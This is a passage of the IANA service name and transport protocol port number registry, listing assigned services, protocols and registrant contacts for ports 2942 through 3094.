sm-pas-5 2942 udp SM-PAS-5 [Tom_Haapanen] [Tom_Haapanen]
ttnrepository 2943 tcp TTNRepository [Robert_Orr] [Robert_Orr]
ttnrepository 2943 udp TTNRepository [Robert_Orr] [Robert_Orr]
megaco-h248 2944 tcp Megaco H-248 [Tom_Taylor_2] [Tom_Taylor_2]
megaco-h248 2944 udp Megaco H-248 [Tom_Taylor_2] [Tom_Taylor_2]
megaco-h248 2944 sctp Megaco-H.248 text [Tom_Taylor_3] [Tom_Taylor_3] 2006-09
h248-binary 2945 tcp H248 Binary [Tom_Taylor_2] [Tom_Taylor_2]
h248-binary 2945 udp H248 Binary [Tom_Taylor_2] [Tom_Taylor_2]
h248-binary 2945 sctp Megaco/H.248 binary [Tom_Taylor_3] [Tom_Taylor_3] 2006-09
fjsvmpor 2946 tcp FJSVmpor [Naoki_Hayashi] [Naoki_Hayashi]
fjsvmpor 2946 udp FJSVmpor [Naoki_Hayashi] [Naoki_Hayashi]
gpsd 2947 tcp GPS Daemon request/response [Eric_S_Raymond] [Eric_S_Raymond] 2010-04-19
protocol
gpsd 2947 udp GPS Daemon request/response [Eric_S_Raymond] [Eric_S_Raymond] 2010-04-19
protocol
wap-push 2948 tcp WAP PUSH
wap-push 2948 udp WAP PUSH
wap-pushsecure 2949 tcp WAP PUSH SECURE [WAP_Forum] [WAP_Forum]
wap-pushsecure 2949 udp WAP PUSH SECURE [WAP_Forum] [WAP_Forum]
esip 2950 tcp ESIP [David_Stephenson] [David_Stephenson]
esip 2950 udp ESIP [David_Stephenson] [David_Stephenson]
ottp 2951 tcp OTTP [Brent_Foster] [Brent_Foster]
ottp 2951 udp OTTP [Brent_Foster] [Brent_Foster]
mpfwsas 2952 tcp MPFWSAS [Toru_Murai] [Toru_Murai]
mpfwsas 2952 udp MPFWSAS [Toru_Murai] [Toru_Murai]
ovalarmsrv 2953 tcp OVALARMSRV
ovalarmsrv 2953 udp OVALARMSRV
ovalarmsrv-cmd 2954 tcp OVALARMSRV-CMD [Eric_Pulsipher] [Eric_Pulsipher]
ovalarmsrv-cmd 2954 udp OVALARMSRV-CMD [Eric_Pulsipher] [Eric_Pulsipher]
csnotify 2955 tcp CSNOTIFY [Israel_Beniaminy] [Israel_Beniaminy]
csnotify 2955 udp CSNOTIFY [Israel_Beniaminy] [Israel_Beniaminy]
ovrimosdbman 2956 tcp OVRIMOSDBMAN [Dimitrios_Souflis] [Dimitrios_Souflis]
ovrimosdbman 2956 udp OVRIMOSDBMAN [Dimitrios_Souflis] [Dimitrios_Souflis]
jmact5 2957 tcp JAMCT5
jmact5 2957 udp JAMCT5
jmact6 2958 tcp JAMCT6
jmact6 2958 udp JAMCT6
rmopagt 2959 tcp RMOPAGT [Shuji_Okubo] [Shuji_Okubo]
rmopagt 2959 udp RMOPAGT [Shuji_Okubo] [Shuji_Okubo]
dfoxserver 2960 tcp DFOXSERVER [David_Holden] [David_Holden]
dfoxserver 2960 udp DFOXSERVER [David_Holden] [David_Holden]
boldsoft-lm 2961 tcp BOLDSOFT-LM [Fredrik_Haglund] [Fredrik_Haglund]
boldsoft-lm 2961 udp BOLDSOFT-LM [Fredrik_Haglund] [Fredrik_Haglund]
iph-policy-cli 2962 tcp IPH-POLICY-CLI
iph-policy-cli 2962 udp IPH-POLICY-CLI
iph-policy-adm 2963 tcp IPH-POLICY-ADM [Shai_Herzog] [Shai_Herzog]
iph-policy-adm 2963 udp IPH-POLICY-ADM [Shai_Herzog] [Shai_Herzog]
bullant-srap 2964 tcp BULLANT SRAP
bullant-srap 2964 udp BULLANT SRAP
bullant-rap 2965 tcp BULLANT RAP [Michael_Cahill] [Michael_Cahill]
bullant-rap 2965 udp BULLANT RAP [Michael_Cahill] [Michael_Cahill]
idp-infotrieve 2966 tcp IDP-INFOTRIEVE [Kevin_Bruckert] [Kevin_Bruckert]
idp-infotrieve 2966 udp IDP-INFOTRIEVE [Kevin_Bruckert] [Kevin_Bruckert]
ssc-agent 2967 tcp SSC-AGENT [George_Dzieciol] [George_Dzieciol]
ssc-agent 2967 udp SSC-AGENT [George_Dzieciol] [George_Dzieciol]
enpp 2968 tcp ENPP [Kazuhito_Gassho] [Kazuhito_Gassho]
enpp 2968 udp ENPP [Kazuhito_Gassho] [Kazuhito_Gassho]
essp 2969 tcp ESSP [Hitoshi_Ishida] [Hitoshi_Ishida]
essp 2969 udp ESSP [Hitoshi_Ishida] [Hitoshi_Ishida]
index-net 2970 tcp INDEX-NET [Chris_J_Wren] [Chris_J_Wren]
index-net 2970 udp INDEX-NET [Chris_J_Wren] [Chris_J_Wren]
netclip 2971 tcp NetClip clipboard daemon [Rudi_Chiarito] [Rudi_Chiarito]
netclip 2971 udp NetClip clipboard daemon [Rudi_Chiarito] [Rudi_Chiarito]
pmsm-webrctl 2972 tcp PMSM Webrctl [Markus_Michels] [Markus_Michels]
pmsm-webrctl 2972 udp PMSM Webrctl [Markus_Michels] [Markus_Michels]
svnetworks 2973 tcp SV Networks [Sylvia_Siu_2] [Sylvia_Siu_2]
svnetworks 2973 udp SV Networks [Sylvia_Siu_2] [Sylvia_Siu_2]
signal 2974 tcp Signal [Wyatt_Williams] [Wyatt_Williams]
signal 2974 udp Signal [Wyatt_Williams] [Wyatt_Williams]
fjmpcm 2975 tcp Fujitsu Configuration [Hiroki_Kawano] [Hiroki_Kawano]
Management Service
fjmpcm 2975 udp Fujitsu Configuration [Hiroki_Kawano] [Hiroki_Kawano]
Management Service
cns-srv-port 2976 tcp CNS Server Port [Ram_Golla] [Ram_Golla]
cns-srv-port 2976 udp CNS Server Port [Ram_Golla] [Ram_Golla]
ttc-etap-ns 2977 tcp TTCs Enterprise Test Access
Protocol - NS
ttc-etap-ns 2977 udp TTCs Enterprise Test Access
Protocol - NS
ttc-etap-ds 2978 tcp TTCs Enterprise Test Access [Daniel_Becker_2] [Daniel_Becker_2]
Protocol - DS
ttc-etap-ds 2978 udp TTCs Enterprise Test Access [Daniel_Becker_2] [Daniel_Becker_2]
Protocol - DS
h263-video 2979 tcp H.263 Video Streaming [Jauvane_C_de_Olivei] [Jauvane_C_de_Olivei]
h263-video 2979 udp H.263 Video Streaming [Jauvane_C_de_Olivei] [Jauvane_C_de_Olivei]
wimd 2980 tcp Instant Messaging Service [Kevin_Birch] [Kevin_Birch]
wimd 2980 udp Instant Messaging Service [Kevin_Birch] [Kevin_Birch]
mylxamport 2981 tcp MYLXAMPORT [Wei_Gao] [Wei_Gao]
mylxamport 2981 udp MYLXAMPORT [Wei_Gao] [Wei_Gao]
iwb-whiteboard 2982 tcp IWB-WHITEBOARD [David_W_Radcliffe] [David_W_Radcliffe]
iwb-whiteboard 2982 udp IWB-WHITEBOARD [David_W_Radcliffe] [David_W_Radcliffe]
netplan 2983 tcp NETPLAN [Thomas_Driemeyer] [Thomas_Driemeyer]
netplan 2983 udp NETPLAN [Thomas_Driemeyer] [Thomas_Driemeyer]
hpidsadmin 2984 tcp HPIDSADMIN
hpidsadmin 2984 udp HPIDSADMIN
hpidsagent 2985 tcp HPIDSAGENT [John_Trudeau] [John_Trudeau]
hpidsagent 2985 udp HPIDSAGENT [John_Trudeau] [John_Trudeau]
stonefalls 2986 tcp STONEFALLS [Scott_Grau] [Scott_Grau]
stonefalls 2986 udp STONEFALLS [Scott_Grau] [Scott_Grau]
identify 2987 tcp identify
identify 2987 udp identify
hippad 2988 tcp HIPPA Reporting Protocol [William_Randolph_Roy] [William_Randolph_Roy]
hippad 2988 udp HIPPA Reporting Protocol [William_Randolph_Roy] [William_Randolph_Roy]
zarkov 2989 tcp ZARKOV Intelligent Agent [Robin_Felix] [Robin_Felix] 2014-02-17
Communication
zarkov 2989 udp ZARKOV Intelligent Agent [Robin_Felix] [Robin_Felix] 2014-02-17
Communication
boscap 2990 tcp BOSCAP [Dirk_Hillbrecht] [Dirk_Hillbrecht]
boscap 2990 udp BOSCAP [Dirk_Hillbrecht] [Dirk_Hillbrecht]
wkstn-mon 2991 tcp WKSTN-MON [William_David] [William_David]
wkstn-mon 2991 udp WKSTN-MON [William_David] [William_David]
avenyo 2992 tcp Avenyo Server [Bodo_Rueskamp] [Bodo_Rueskamp]
avenyo 2992 udp Avenyo Server [Bodo_Rueskamp] [Bodo_Rueskamp]
veritas-vis1 2993 tcp VERITAS VIS1
veritas-vis1 2993 udp VERITAS VIS1
veritas-vis2 2994 tcp VERITAS VIS2 [Dinkar_Chivaluri] [Dinkar_Chivaluri]
veritas-vis2 2994 udp VERITAS VIS2 [Dinkar_Chivaluri] [Dinkar_Chivaluri]
idrs 2995 tcp IDRS [Jeff_Eaton] [Jeff_Eaton]
idrs 2995 udp IDRS [Jeff_Eaton] [Jeff_Eaton]
vsixml 2996 tcp vsixml [Rob_Juergens] [Rob_Juergens]
vsixml 2996 udp vsixml [Rob_Juergens] [Rob_Juergens]
rebol 2997 tcp REBOL [Holger_Kruse] [Holger_Kruse]
rebol 2997 udp REBOL [Holger_Kruse] [Holger_Kruse]
realsecure 2998 tcp Real Secure [Wes_Wilson] [Wes_Wilson]
realsecure 2998 udp Real Secure [Wes_Wilson] [Wes_Wilson]
remoteware-un 2999 tcp RemoteWare Unassigned [Tim_Farley] [Tim_Farley]
remoteware-un 2999 udp RemoteWare Unassigned [Tim_Farley] [Tim_Farley]
hbci 3000 tcp HBCI [Kurt_Haubner] [Kurt_Haubner]
hbci 3000 udp HBCI [Kurt_Haubner] [Kurt_Haubner]
remoteware-cl 3000 tcp RemoteWare Client [Tim_Farley] [Tim_Farley] This entry records an unassigned but widespread use
remoteware-cl 3000 udp RemoteWare Client [Tim_Farley] [Tim_Farley] This entry records an unassigned but widespread use
origo-native 3001 tcp OrigoDB Server Native [Devrex_Labs] [Robert_Friberg] 2013-03-29 port 3001 previously "Removed on 2006-05-25"
Interface
3001 udp Reserved 2013-03-29 port 3001 previously "Removed on 2006-05-25"
exlm-agent 3002 tcp EXLM Agent [Randy_Martin] [Randy_Martin]
exlm-agent 3002 udp EXLM Agent [Randy_Martin] [Randy_Martin]
remoteware-srv 3002 tcp RemoteWare Server [Tim_Farley] [Tim_Farley] This entry records an unassigned but widespread use
remoteware-srv 3002 udp RemoteWare Server [Tim_Farley] [Tim_Farley] This entry records an unassigned but widespread use
cgms 3003 tcp CGMS [Corey_Clinton] [Corey_Clinton] 2011-02-02
cgms 3003 udp CGMS [Corey_Clinton] [Corey_Clinton] 2011-02-02
csoftragent 3004 tcp Csoft Agent [Nedelcho_Stanev_2] [Nedelcho_Stanev_2]
csoftragent 3004 udp Csoft Agent [Nedelcho_Stanev_2] [Nedelcho_Stanev_2]
geniuslm 3005 tcp Genius License Manager [Jakob_Spies] [Jakob_Spies]
geniuslm 3005 udp Genius License Manager [Jakob_Spies] [Jakob_Spies]
ii-admin 3006 tcp Instant Internet Admin [Lewis_Donzis] [Lewis_Donzis]
ii-admin 3006 udp Instant Internet Admin [Lewis_Donzis] [Lewis_Donzis]
lotusmtap 3007 tcp Lotus Mail Tracking Agent [Ken_Lin] [Ken_Lin]
Protocol
lotusmtap 3007 udp Lotus Mail Tracking Agent [Ken_Lin] [Ken_Lin]
Protocol
midnight-tech 3008 tcp Midnight Technologies [Kyle_Unice] [Kyle_Unice]
midnight-tech 3008 udp Midnight Technologies [Kyle_Unice] [Kyle_Unice]
pxc-ntfy 3009 tcp PXC-NTFY [Takeshi_Nishizawa] [Takeshi_Nishizawa]
pxc-ntfy 3009 udp PXC-NTFY [Takeshi_Nishizawa] [Takeshi_Nishizawa]
gw 3010 tcp Telerate Workstation
ping-pong 3010 udp Telerate Workstation [Timo_Sivonen] [Timo_Sivonen]
trusted-web 3011 tcp Trusted Web
trusted-web 3011 udp Trusted Web
twsdss 3012 tcp Trusted Web Client [Alex_Duncan] [Alex_Duncan]
twsdss 3012 udp Trusted Web Client [Alex_Duncan] [Alex_Duncan]
gilatskysurfer 3013 tcp Gilat Sky Surfer [Yossi_Gal] [Yossi_Gal]
gilatskysurfer 3013 udp Gilat Sky Surfer [Yossi_Gal] [Yossi_Gal]
Broker Service
broker-service 3014 tcp IANA assigned this [Dale_Bethers] [Dale_Bethers]
well-formed service name as
a replacement for
"broker_service".
This entry is an alias to "broker-service". This entry is now
broker_service 3014 tcp Broker Service [Dale_Bethers] [Dale_Bethers] historic, not usable for use with many common service
discovery mechanisms.
Broker Service
broker-service 3014 udp IANA assigned this [Dale_Bethers] [Dale_Bethers]
well-formed service name as
a replacement for
"broker_service".
This entry is an alias to "broker-service". This entry is now
broker_service 3014 udp Broker Service [Dale_Bethers] [Dale_Bethers] historic, not usable for use with many common service
discovery mechanisms.
nati-dstp 3015 tcp NATI DSTP [Paul_Austin] [Paul_Austin]
nati-dstp 3015 udp NATI DSTP [Paul_Austin] [Paul_Austin]
Notify Server
notify-srvr 3016 tcp IANA assigned this [Hugo_Parra] [Hugo_Parra]
well-formed service name as
a replacement for
"notify_srvr".
This entry is an alias to "notify-srvr". This entry is now
notify_srvr 3016 tcp Notify Server [Hugo_Parra] [Hugo_Parra] historic, not usable for use with many common service
discovery mechanisms.
Notify Server
notify-srvr 3016 udp IANA assigned this [Hugo_Parra] [Hugo_Parra]
well-formed service name as
a replacement for
"notify_srvr".
This entry is an alias to "notify-srvr". This entry is now
notify_srvr 3016 udp Notify Server [Hugo_Parra] [Hugo_Parra] historic, not usable for use with many common service
discovery mechanisms.
Event Listener
event-listener 3017 tcp IANA assigned this [Ted_Tronson] [Ted_Tronson]
well-formed service name as
a replacement for
"event_listener".
This entry is an alias to "event-listener". This entry is now
event_listener 3017 tcp Event Listener [Ted_Tronson] [Ted_Tronson] historic, not usable for use with many common service
discovery mechanisms.
Event Listener
event-listener 3017 udp IANA assigned this [Ted_Tronson] [Ted_Tronson]
well-formed service name as
a replacement for
"event_listener".
This entry is an alias to "event-listener". This entry is now
event_listener 3017 udp Event Listener [Ted_Tronson] [Ted_Tronson] historic, not usable for use with many common service
discovery mechanisms.
Service Registry
srvc-registry 3018 tcp IANA assigned this [Mark_Killgore] [Mark_Killgore]
well-formed service name as
a replacement for
"srvc_registry".
This entry is an alias to "srvc-registry". This entry is now
srvc_registry 3018 tcp Service Registry [Mark_Killgore] [Mark_Killgore] historic, not usable for use with many common service
discovery mechanisms.
Service Registry
srvc-registry 3018 udp IANA assigned this [Mark_Killgore] [Mark_Killgore]
well-formed service name as
a replacement for
"srvc_registry".
This entry is an alias to "srvc-registry". This entry is now
srvc_registry 3018 udp Service Registry [Mark_Killgore] [Mark_Killgore] historic, not usable for use with many common service
discovery mechanisms.
Resource Manager
resource-mgr 3019 tcp IANA assigned this [Gary_Glover] [Gary_Glover]
well-formed service name as
a replacement for
"resource_mgr".
This entry is an alias to "resource-mgr". This entry is now
resource_mgr 3019 tcp Resource Manager [Gary_Glover] [Gary_Glover] historic, not usable for use with many common service
discovery mechanisms.
Resource Manager
resource-mgr 3019 udp IANA assigned this [Gary_Glover] [Gary_Glover]
well-formed service name as
a replacement for
"resource_mgr".
This entry is an alias to "resource-mgr". This entry is now
resource_mgr 3019 udp Resource Manager [Gary_Glover] [Gary_Glover] historic, not usable for use with many common service
discovery mechanisms.
cifs 3020 tcp CIFS [Paul_Leach] [Paul_Leach]
cifs 3020 udp CIFS [Paul_Leach] [Paul_Leach]
agriserver 3021 tcp AGRI Server [Frank_Neulichedl] [Frank_Neulichedl]
agriserver 3021 udp AGRI Server [Frank_Neulichedl] [Frank_Neulichedl]
csregagent 3022 tcp CSREGAGENT [Nedelcho_Stanev] [Nedelcho_Stanev]
csregagent 3022 udp CSREGAGENT [Nedelcho_Stanev] [Nedelcho_Stanev]
magicnotes 3023 tcp magicnotes [Karl_Edwall] [Karl_Edwall]
magicnotes 3023 udp magicnotes [Karl_Edwall] [Karl_Edwall]
NDS_SSO
nds-sso 3024 tcp IANA assigned this [Mel_Oyler] [Mel_Oyler]
well-formed service name as
a replacement for "nds_sso".
This entry is an alias to "nds-sso". This entry is now
nds_sso 3024 tcp NDS_SSO [Mel_Oyler] [Mel_Oyler] historic, not usable for use with many common service
discovery mechanisms.
NDS_SSO
nds-sso 3024 udp IANA assigned this [Mel_Oyler] [Mel_Oyler]
well-formed service name as
a replacement for "nds_sso".
This entry is an alias to "nds-sso". This entry is now
nds_sso 3024 udp NDS_SSO [Mel_Oyler] [Mel_Oyler] historic, not usable for use with many common service
discovery mechanisms.
arepa-raft 3025 tcp Arepa Raft [Stuart_Schaefer] [Stuart_Schaefer]
arepa-raft 3025 udp Arepa Raft [Stuart_Schaefer] [Stuart_Schaefer]
agri-gateway 3026 tcp AGRI Gateway [Agri_Datalog] [Agri_Datalog]
agri-gateway 3026 udp AGRI Gateway [Agri_Datalog] [Agri_Datalog]
LiebDevMgmt_C
LiebDevMgmt-C 3027 tcp IANA assigned this
well-formed service name as
a replacement for
"LiebDevMgmt_C".
This entry is an alias to "LiebDevMgmt-C". This entry is now
LiebDevMgmt_C 3027 tcp LiebDevMgmt_C historic, not usable for use with many common service
discovery mechanisms.
LiebDevMgmt_C
LiebDevMgmt-C 3027 udp IANA assigned this
well-formed service name as
a replacement for
"LiebDevMgmt_C".
This entry is an alias to "LiebDevMgmt-C". This entry is now
LiebDevMgmt_C 3027 udp LiebDevMgmt_C historic, not usable for use with many common service
discovery mechanisms.
LiebDevMgmt_DM
LiebDevMgmt-DM 3028 tcp IANA assigned this
well-formed service name as
a replacement for
"LiebDevMgmt_DM".
This entry is an alias to "LiebDevMgmt-DM". This entry is now
LiebDevMgmt_DM 3028 tcp LiebDevMgmt_DM historic, not usable for use with many common service
discovery mechanisms.
LiebDevMgmt_DM
LiebDevMgmt-DM 3028 udp IANA assigned this
well-formed service name as
a replacement for
"LiebDevMgmt_DM".
This entry is an alias to "LiebDevMgmt-DM". This entry is now
LiebDevMgmt_DM 3028 udp LiebDevMgmt_DM historic, not usable for use with many common service
discovery mechanisms.
LiebDevMgmt_A
LiebDevMgmt-A 3029 tcp IANA assigned this [Mike_Velten] [Mike_Velten]
well-formed service name as
a replacement for
"LiebDevMgmt_A".
This entry is an alias to "LiebDevMgmt-A". This entry is now
LiebDevMgmt_A 3029 tcp LiebDevMgmt_A [Mike_Velten] [Mike_Velten] historic, not usable for use with many common service
discovery mechanisms.
LiebDevMgmt_A
LiebDevMgmt-A 3029 udp IANA assigned this [Mike_Velten] [Mike_Velten]
well-formed service name as
a replacement for
"LiebDevMgmt_A".
This entry is an alias to "LiebDevMgmt-A". This entry is now
LiebDevMgmt_A 3029 udp LiebDevMgmt_A [Mike_Velten] [Mike_Velten] historic, not usable for use with many common service
discovery mechanisms.
arepa-cas 3030 tcp Arepa Cas [Stuart_Schaefer] [Stuart_Schaefer]
arepa-cas 3030 udp Arepa Cas [Stuart_Schaefer] [Stuart_Schaefer]
eppc 3031 tcp Remote AppleEvents/PPC [Steve_Zellers] [Steve_Zellers]
Toolbox
eppc 3031 udp Remote AppleEvents/PPC [Steve_Zellers] [Steve_Zellers]
Toolbox
redwood-chat 3032 tcp Redwood Chat [Songwon_Chi] [Songwon_Chi]
redwood-chat 3032 udp Redwood Chat [Songwon_Chi] [Songwon_Chi]
pdb 3033 tcp PDB [Don_Bowman] [Don_Bowman]
pdb 3033 udp PDB [Don_Bowman] [Don_Bowman]
osmosis-aeea 3034 tcp Osmosis / Helix (R) AEEA [Larry_Atkin] [Larry_Atkin]
Port
osmosis-aeea 3034 udp Osmosis / Helix (R) AEEA [Larry_Atkin] [Larry_Atkin]
Port
fjsv-gssagt 3035 tcp FJSV gssagt [Tomoji_Koike] [Tomoji_Koike]
fjsv-gssagt 3035 udp FJSV gssagt [Tomoji_Koike] [Tomoji_Koike]
hagel-dump 3036 tcp Hagel DUMP [Haim_Gelfenbeyn] [Haim_Gelfenbeyn]
hagel-dump 3036 udp Hagel DUMP [Haim_Gelfenbeyn] [Haim_Gelfenbeyn]
hp-san-mgmt 3037 tcp HP SAN Mgmt [Steve_Britt] [Steve_Britt]
hp-san-mgmt 3037 udp HP SAN Mgmt [Steve_Britt] [Steve_Britt]
santak-ups 3038 tcp Santak UPS [Tom_Liu] [Tom_Liu]
santak-ups 3038 udp Santak UPS [Tom_Liu] [Tom_Liu]
cogitate 3039 tcp Cogitate, Inc. [Jim_Harlan] [Jim_Harlan]
cogitate 3039 udp Cogitate, Inc. [Jim_Harlan] [Jim_Harlan]
tomato-springs 3040 tcp Tomato Springs [Jack_Waller_III] [Jack_Waller_III]
tomato-springs 3040 udp Tomato Springs [Jack_Waller_III] [Jack_Waller_III]
di-traceware 3041 tcp di-traceware [Carlos_Hung] [Carlos_Hung]
di-traceware 3041 udp di-traceware [Carlos_Hung] [Carlos_Hung]
journee 3042 tcp journee [Kevin_Calman] [Kevin_Calman]
journee 3042 udp journee [Kevin_Calman] [Kevin_Calman]
brp 3043 tcp Broadcast Routing Protocol [John_Border] [John_Border]
brp 3043 udp Broadcast Routing Protocol [John_Border] [John_Border]
epp 3044 tcp EndPoint Protocol [Stephen_Cipolli] [Stephen_Cipolli]
epp 3044 udp EndPoint Protocol [Stephen_Cipolli] [Stephen_Cipolli]
responsenet 3045 tcp ResponseNet [Chul_Yoon] [Chul_Yoon]
responsenet 3045 udp ResponseNet [Chul_Yoon] [Chul_Yoon]
di-ase 3046 tcp di-ase [Carlos_Hung] [Carlos_Hung]
di-ase 3046 udp di-ase [Carlos_Hung] [Carlos_Hung]
hlserver 3047 tcp Fast Security HL Server [Safenet_Inc.] [Michael_Zunke_3] 2014-07-02
hlserver 3047 udp Fast Security HL Server [Safenet_Inc.] [Michael_Zunke_3] 2014-07-02
pctrader 3048 tcp Sierra Net PC Trader [Chris_Hahn] [Chris_Hahn]
pctrader 3048 udp Sierra Net PC Trader [Chris_Hahn] [Chris_Hahn]
nsws 3049 tcp NSWS [Ray_Gwinn] [Ray_Gwinn]
nsws 3049 udp NSWS [Ray_Gwinn] [Ray_Gwinn]
gds_db
gds-db 3050 tcp IANA assigned this [Madhukar_N_Thakur] [Madhukar_N_Thakur]
well-formed service name as
a replacement for "gds_db".
This entry is an alias to "gds-db". This entry is now
gds_db 3050 tcp gds_db [Madhukar_N_Thakur] [Madhukar_N_Thakur] historic, not usable for use with many common service
discovery mechanisms.
gds_db
gds-db 3050 udp IANA assigned this [Madhukar_N_Thakur] [Madhukar_N_Thakur]
well-formed service name as
a replacement for "gds_db".
This entry is an alias to "gds-db". This entry is now
gds_db 3050 udp gds_db [Madhukar_N_Thakur] [Madhukar_N_Thakur] historic, not usable for use with many common service
discovery mechanisms.
galaxy-server 3051 tcp Galaxy Server [Michael_Andre] [Michael_Andre]
galaxy-server 3051 udp Galaxy Server [Michael_Andre] [Michael_Andre]
apc-3052 3052 tcp APC 3052 [American_Power_Conve] [American_Power_Conve]
apc-3052 3052 udp APC 3052 [American_Power_Conve] [American_Power_Conve]
dsom-server 3053 tcp dsom-server [Daniel_Sisk] [Daniel_Sisk]
dsom-server 3053 udp dsom-server [Daniel_Sisk] [Daniel_Sisk]
amt-cnf-prot 3054 tcp AMT CNF PROT [Marco_Marcucci] [Marco_Marcucci]
amt-cnf-prot 3054 udp AMT CNF PROT [Marco_Marcucci] [Marco_Marcucci]
policyserver 3055 tcp Policy Server [Mark_Garti] [Mark_Garti]
policyserver 3055 udp Policy Server [Mark_Garti] [Mark_Garti]
cdl-server 3056 tcp CDL Server [Paul_Roberts] [Paul_Roberts]
cdl-server 3056 udp CDL Server [Paul_Roberts] [Paul_Roberts]
goahead-fldup 3057 tcp GoAhead FldUp [Alan_Pickrell] [Alan_Pickrell]
goahead-fldup 3057 udp GoAhead FldUp [Alan_Pickrell] [Alan_Pickrell]
videobeans 3058 tcp videobeans [Hiroyuki_Takahashi] [Hiroyuki_Takahashi]
videobeans 3058 udp videobeans [Hiroyuki_Takahashi] [Hiroyuki_Takahashi]
qsoft 3059 tcp qsoft [James_Kunz] [James_Kunz]
qsoft 3059 udp qsoft [James_Kunz] [James_Kunz]
Known
interserver 3060 tcp interserver [Madhukar_N_Thakur] [Madhukar_N_Thakur] Unauthorized
Use on port
3060
Known
interserver 3060 udp interserver [Madhukar_N_Thakur] [Madhukar_N_Thakur] Unauthorized
Use on port
3060
cautcpd 3061 tcp cautcpd
cautcpd 3061 udp cautcpd
ncacn-ip-tcp 3062 tcp ncacn-ip-tcp
ncacn-ip-tcp 3062 udp ncacn-ip-tcp
ncadg-ip-udp 3063 tcp ncadg-ip-udp [Gabi_Kalmar] [Gabi_Kalmar]
ncadg-ip-udp 3063 udp ncadg-ip-udp [Gabi_Kalmar] [Gabi_Kalmar]
rprt 3064 tcp Remote Port Redirector [Robin_Johnston] [Robin_Johnston]
rprt 3064 udp Remote Port Redirector [Robin_Johnston] [Robin_Johnston]
slinterbase 3065 tcp slinterbase [Bie_Tie] [Bie_Tie]
slinterbase 3065 udp slinterbase [Bie_Tie] [Bie_Tie]
netattachsdmp 3066 tcp NETATTACHSDMP [Mike_Young] [Mike_Young]
netattachsdmp 3066 udp NETATTACHSDMP [Mike_Young] [Mike_Young]
fjhpjp 3067 tcp FJHPJP [Ryozo_Furutani] [Ryozo_Furutani]
fjhpjp 3067 udp FJHPJP [Ryozo_Furutani] [Ryozo_Furutani]
ls3bcast 3068 tcp ls3 Broadcast
ls3bcast 3068 udp ls3 Broadcast
ls3 3069 tcp ls3 [Jim_Thompson] [Jim_Thompson]
ls3 3069 udp ls3 [Jim_Thompson] [Jim_Thompson]
mgxswitch 3070 tcp MGXSWITCH [George_Walter] [George_Walter]
mgxswitch 3070 udp MGXSWITCH [George_Walter] [George_Walter]
xplat-replicate 3071 tcp Crossplatform replication [NetApp_3] [Ravindra_Kuramkote] 2017-08-24
protocol
3071 udp Reserved 2017-08-24
csd-monitor 3072 tcp ContinuStor Monitor Port [NetApp] [MSW_architecture_team] 2014-07-18
csd-monitor 3072 udp ContinuStor Monitor Port [NetApp] [MSW_architecture_team] 2014-07-18
vcrp 3073 tcp Very simple chatroom prot [Andreas_Wurf] [Andreas_Wurf]
vcrp 3073 udp Very simple chatroom prot [Andreas_Wurf] [Andreas_Wurf]
xbox 3074 tcp Xbox game port [Damon_Danieli] [Damon_Danieli]
xbox 3074 udp Xbox game port [Damon_Danieli] [Damon_Danieli]
orbix-locator 3075 tcp Orbix 2000 Locator
orbix-locator 3075 udp Orbix 2000 Locator
orbix-config 3076 tcp Orbix 2000 Config
orbix-config 3076 udp Orbix 2000 Config
orbix-loc-ssl 3077 tcp Orbix 2000 Locator SSL
orbix-loc-ssl 3077 udp Orbix 2000 Locator SSL
orbix-cfg-ssl 3078 tcp Orbix 2000 Locator SSL [Eric_Newcomer] [Eric_Newcomer]
orbix-cfg-ssl 3078 udp Orbix 2000 Locator SSL [Eric_Newcomer] [Eric_Newcomer]
lv-frontpanel 3079 tcp LV Front Panel [Darshan_Shah] [Darshan_Shah]
lv-frontpanel 3079 udp LV Front Panel [Darshan_Shah] [Darshan_Shah]
stm_pproc
stm-pproc 3080 tcp IANA assigned this [Paul_McGinnis] [Paul_McGinnis]
well-formed service name as
a replacement for
"stm_pproc".
This entry is an alias to "stm-pproc". This entry is now
stm_pproc 3080 tcp stm_pproc [Paul_McGinnis] [Paul_McGinnis] historic, not usable for use with many common service
discovery mechanisms.
stm_pproc
stm-pproc 3080 udp IANA assigned this [Paul_McGinnis] [Paul_McGinnis]
well-formed service name as
a replacement for
"stm_pproc".
This entry is an alias to "stm-pproc". This entry is now
stm_pproc 3080 udp stm_pproc [Paul_McGinnis] [Paul_McGinnis] historic, not usable for use with many common service
discovery mechanisms.
tl1-lv 3081 tcp TL1-LV
tl1-lv 3081 udp TL1-LV
tl1-raw 3082 tcp TL1-RAW
tl1-raw 3082 udp TL1-RAW
tl1-telnet 3083 tcp TL1-TELNET [SONET_Internetworkin] [SONET_Internetworkin]
tl1-telnet 3083 udp TL1-TELNET [SONET_Internetworkin] [SONET_Internetworkin]
itm-mccs 3084 tcp ITM-MCCS [Portnoy_Boxman] [Portnoy_Boxman]
itm-mccs 3084 udp ITM-MCCS [Portnoy_Boxman] [Portnoy_Boxman]
pcihreq 3085 tcp PCIHReq [Paul_Sanders] [Paul_Sanders]
pcihreq 3085 udp PCIHReq [Paul_Sanders] [Paul_Sanders]
jdl-dbkitchen 3086 tcp JDL-DBKitchen [Hideo_Wakabayashi] [Hideo_Wakabayashi]
jdl-dbkitchen 3086 udp JDL-DBKitchen [Hideo_Wakabayashi] [Hideo_Wakabayashi]
asoki-sma 3087 tcp Asoki SMA [Andrew_Mossberg] [Andrew_Mossberg]
asoki-sma 3087 udp Asoki SMA [Andrew_Mossberg] [Andrew_Mossberg]
xdtp 3088 tcp eXtensible Data Transfer [Michael_Shearson] [Michael_Shearson]
Protocol
xdtp 3088 udp eXtensible Data Transfer [Michael_Shearson] [Michael_Shearson]
Protocol
ptk-alink 3089 tcp ParaTek Agent Linking [Robert_Hodgson_2] [Robert_Hodgson_2]
ptk-alink 3089 udp ParaTek Agent Linking [Robert_Hodgson_2] [Robert_Hodgson_2]
stss 3090 tcp Senforce Session Services [Peter_Boucher] [Peter_Boucher]
stss 3090 udp Senforce Session Services [Peter_Boucher] [Peter_Boucher]
1ci-smcs 3091 tcp 1Ci Server Management [Ralf_Bensmann] [Ralf_Bensmann]
1ci-smcs 3091 udp 1Ci Server Management [Ralf_Bensmann] [Ralf_Bensmann]
3092 Unassigned 2008-04-22
rapidmq-center 3093 tcp Jiiva RapidMQ Center
rapidmq-center 3093 udp Jiiva RapidMQ Center
rapidmq-reg 3094 tcp Jiiva RapidMQ Registry [Mark_Ericksen] [Mark_Ericksen]
rapidmq-reg 3094 udp Jiiva RapidMQ Registry [Mark_Ericksen] [Mark_Ericksen]
